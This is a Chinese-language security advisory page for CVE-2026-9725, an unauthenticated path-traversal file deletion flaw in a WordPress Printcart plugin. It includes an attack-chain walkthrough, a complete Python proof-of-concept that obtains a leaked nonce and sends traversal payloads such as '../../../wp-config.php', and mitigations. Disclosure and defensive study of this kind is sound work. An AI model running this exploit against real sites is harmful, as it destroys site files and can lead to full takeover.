IPBUF安全漏洞报告
English
CVE-2026-9725 CVSS 9.1 严重

CVE-2026-9725:WordPress Printcart插件任意文件删除漏洞

披露日期: 2026-07-03

漏洞信息

漏洞编号
CVE-2026-9725
漏洞类型
任意文件删除/路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Printcart Web to Print Product Designer for WooCommerce (WordPress插件)

相关标签

CVE-2026-9725WordPressWooCommerce任意文件删除路径遍历未认证漏洞Printcart插件AJAX漏洞Nonce泄露严重漏洞

漏洞概述

CVE-2026-9725是WordPress平台上一款名为"Printcart Web to Print Product Designer for WooCommerce"的插件中存在的严重安全漏洞。该漏洞的CVSS评分为9.1,属于严重级别,允许未经身份验证的远程攻击者在受影响的WordPress网站上执行任意文件删除操作。

该漏洞源于插件的store_design_data()函数中存在不充分的路径验证机制。具体而言,该函数从用户提供的'nbd_item_key' POST参数构造文件系统路径,但仅使用了sanitize_text_field()函数进行清理,而该函数并不会剥离路径遍历序列(如../)。这意味着攻击者可以通过精心构造的路径遍历payload,绕过安全检查,将恶意路径传递给Nbdesigner_IO::delete_folder()函数和PHP的rename()函数,从而删除服务器上的任意文件。

更为严重的是,保护nbd_save_customer_design AJAX操作的nonce(一次性令牌)可以通过nbd_check_use_logged_in端点被未认证用户自由获取,这大大降低了攻击门槛。攻击者无需任何凭据即可利用此漏洞。任意文件删除的最终后果可能包括远程代码执行(RCE),例如通过删除关键的安全配置文件或利用其他机制实现完全的系统控制。该漏洞影响该插件2.5.2及以下的所有版本,已在2.5.3版本中修复。

技术细节

该漏洞的核心问题在于store_design_data()函数对用户输入的处理方式存在严重缺陷。

**路径验证缺陷**:store_design_data()函数接收用户通过POST请求提交的'nbd_item_key'参数,并将其作为文件系统路径的一部分。在处理该参数时,仅调用了WordPress的sanitize_text_field()函数进行清理。然而,sanitize_text_field()函数的主要功能是清理不需要的HTML标签和多余空白字符,并不会移除路径遍历序列(如"../"或"..\\")。攻击者可以提交包含路径遍历序列的恶意值,如"../../../../wp-config.php",从而引用服务器上任意位置的文件。

**危险函数调用**:经过不充分清理的路径随后被直接传递给Nbdesigner_IO::delete_folder()函数和PHP内置的rename()函数。delete_folder()函数会递归删除指定路径下的所有文件和目录,而rename()函数则可用于文件移动操作。通过精心构造路径,攻击者可以删除WordPress安装目录之外的关键文件,如wp-config.php(WordPress配置文件)、.htaccess(Web服务器配置)或其他系统文件。

**Nonce泄露问题**:保护nbd_save_customer_design AJAX端点的CSRF nonce可以通过另一个端点nbd_check_use_logged_in获取。该端点未实施适当的访问控制,允许未认证用户请求并获取有效的nonce值,从而完全绕过了CSRF保护机制。

**利用条件**:该漏洞的利用条件极为宽松——攻击者仅需能够通过网络访问目标WordPress站点的AJAX端点,无需任何身份验证或用户交互。攻击成功后,删除wp-config.php等关键文件可导致网站完全瘫痪,而进一步的攻击(如结合其他漏洞)可能实现远程代码执行。

攻击链分析

STEP 1
步骤1:获取CSRF Nonce
攻击者向目标WordPress站点的admin-ajax.php端点发送请求,action参数设置为nbd_check_use_logged_in。该端点未实施访问控制,会向未认证用户返回有效的CSRF nonce值。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含路径遍历序列的POST请求,将nbd_item_key参数设置为类似'../../../wp-config.php'或'../../../../etc/passwd'的值。由于sanitize_text_field()不会剥离路径遍历序列,恶意路径将原样传递给文件系统操作函数。
STEP 3
步骤3:触发任意文件删除
攻击者将构造好的Payload发送到nbd_save_customer_design AJAX action,附带步骤1获取的有效nonce。store_design_data()函数接收恶意路径并将其传递给Nbdesigner_IO::delete_folder()和rename(),导致目标文件被删除。
STEP 4
步骤4:实现进一步攻击
通过删除关键文件(如wp-config.php使网站进入安装向导状态,或删除安全插件配置文件),攻击者可以进一步利用其他漏洞或社会工程学手段实现远程代码执行(RCE),获取服务器完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-9725 PoC - Printcart Web to Print Product Designer Arbitrary File Deletion This PoC demonstrates how an unauthenticated attacker can exploit the path traversal vulnerability in the store_design_data() function to delete arbitrary files. """ import requests import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" FILE_TO_DELETE = sys.argv[2] if len(sys.argv) > 2 else "../../../wp-config.php" def get_nonce(session, target_url): """Step 1: Obtain the CSRF nonce from nbd_check_use_logged_in endpoint.""" # The nbd_check_use_logged_in endpoint freely provides the nonce # without requiring authentication nonce_url = f"{target_url}/wp-admin/admin-ajax.php" params = {"action": "nbd_check_use_logged_in"} resp = session.get(nonce_url, params=params) # Extract nonce from response (it may be in JSON or HTML) match = re.search(r'nonce["\s:]+([a-f0-9]+)', resp.text, re.IGNORECASE) if match: return match.group(1) # Try JSON response try: data = resp.json() return data.get("nonce", data.get("data", {}).get("nonce")) except Exception: return resp.text.strip().strip('"') def exploit_file_deletion(session, target_url, nonce, target_file): """Step 2: Send malicious request to delete arbitrary file via path traversal.""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with path traversal in nbd_item_key parameter # The sanitize_text_field() does NOT strip ../ sequences payload = { "action": "nbd_save_customer_design", "nonce": nonce, "nbd_item_key": target_file, # Path traversal payload "product_id": "1", "design_id": "1" } resp = session.post(ajax_url, data=payload) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") return resp def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target file to delete: {FILE_TO_DELETE}") session = requests.Session() # Step 1: Obtain nonce from unauthenticated endpoint print("[*] Step 1: Obtaining CSRF nonce from nbd_check_use_logged_in...") nonce = get_nonce(session, TARGET_URL) print(f"[+] Nonce obtained: {nonce}") # Step 2: Send crafted request to trigger arbitrary file deletion print("[*] Step 2: Sending malicious request to nbd_save_customer_design...") resp = exploit_file_deletion(session, TARGET_URL, nonce, FILE_TO_DELETE) if resp.status_code == 200: print("[+] Exploit completed. Target file may have been deleted.") else: print("[-] Exploit may have failed. Check the response above.") if __name__ == "__main__": main()

影响范围

Printcart Web to Print Product Designer for WooCommerce <= 2.5.2

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过WordPress管理后台暂时禁用Printcart Web to Print Product Designer插件;2)通过Web服务器配置(如Nginx/Apache规则)阻止对admin-ajax.php中nbd_save_customer_design和nbd_check_use_logged_in action的访问;3)部署WAF规则,过滤包含../等路径遍历特征的请求参数;4)监控网站文件系统,及时发现异常的文件删除操作;5)对关键配置文件(如wp-config.php)设置只读权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表